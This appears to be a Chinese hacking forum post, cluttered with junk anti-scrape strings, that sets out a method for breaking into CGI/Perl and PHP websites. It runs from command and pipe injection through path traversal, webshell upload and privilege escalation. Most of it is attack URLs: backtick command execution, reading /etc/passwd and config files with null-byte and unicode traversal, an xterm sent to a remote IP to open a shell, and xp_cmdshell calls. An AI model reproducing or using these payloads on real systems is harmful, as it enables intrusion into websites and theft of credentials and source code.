总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
# _! ^: y8 q8 M0 u n4 g# mcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
+ N- E, @# i" F% [; K感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
+ V" t' ]9 k( K6 k9 P6 ?注“
8 G2 f4 J, Z0 @perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 : [. n+ @5 R* @) Q9 f+ ? J) R2 Q
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
6 ~/ c* O, I$ p8 [/ G0 u: L* u- u# Y0 Z4 H$ O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 2 X# a+ b' }) _' g& V. E9 a/ s7 a
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 8 Z; L! `# C4 i% r% g- q/ S' M
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
9 l, [8 V+ ~9 T5 |: Whttp://target.com/cgi-bin/home/news/sub.pl?`id`
* l% \7 V# M0 K3 t' a6 Vhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
9 K) b6 E3 K3 Q* Yhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
* b$ O/ r0 R! `# i
# i( |$ p8 k$ K+ a' j5 Z' uhttp://target.com/test.pl;ls| , d$ ?% I' ~' r. P" p
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 8 A2 Q+ f% p {& Q* t3 ]8 g! v
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 3 w4 S' p9 ~) @; B4 s
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 , F; }8 N; n+ `
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
" Y* b- L4 b1 L! Nhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
, x4 |1 B8 E2 f' h5 r) j. D& o+ J; k1 _3 S
http://target.com/test.pl?&........ /../../etc/passwd 5 @. _5 A$ Z3 Y4 o1 Y" ~- m6 B: p
' t& g _, f5 |$ M
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
4 U6 ^' w; Q8 j2 Qhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 0 p" A: m" f; H! Y- M$ ?* K
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
5 T/ c6 `/ Z7 R+ n: z9 x) z3 R% A. s0 r8 E
http://www.target.org/show.php?f ... /include/config.php 查看php代码
\/ k+ [0 l5 a V" o5 L& Uhttp://www.target.org/show.php?f ... ng/admin/global.php
. E4 H2 `! g7 U, S# ?0 O1 [7 b9 }' @$ w
emm和ps的一句话
9 d* B: ]( [8 x- j/ F. o0 `
$ X ]& U2 | Q6 c- ]8 v, O: E4 D6 |http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
8 g2 ?8 m2 O: a' X5 a2 @: w R l" g( p @9 E
>bbb%20|
+ D' m7 Y; c% x& ]4 E9 ?1 t0 Z' w' `) t! J1 S5 W- m
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 ( k2 f' E- m w) s! ?- u
) G3 d" f9 w+ f) m+ c; ^( Xhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 6 W) k$ v+ \9 E, @
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
U7 }6 s+ x3 C8 s8 I; s
% m0 G( Y, p+ `8 j6 T: F相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 6 Z$ N# ^! d% @% K5 a" |
http://target.com/index.html#cmd.exe ' I; L; Q; |9 n3 ~ X
http://target.com/index.html?dummyparam=xp_cmdshell
! p$ u( W2 ?/ Rlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd ; F9 D! q9 }6 _! Z8 w# Y
|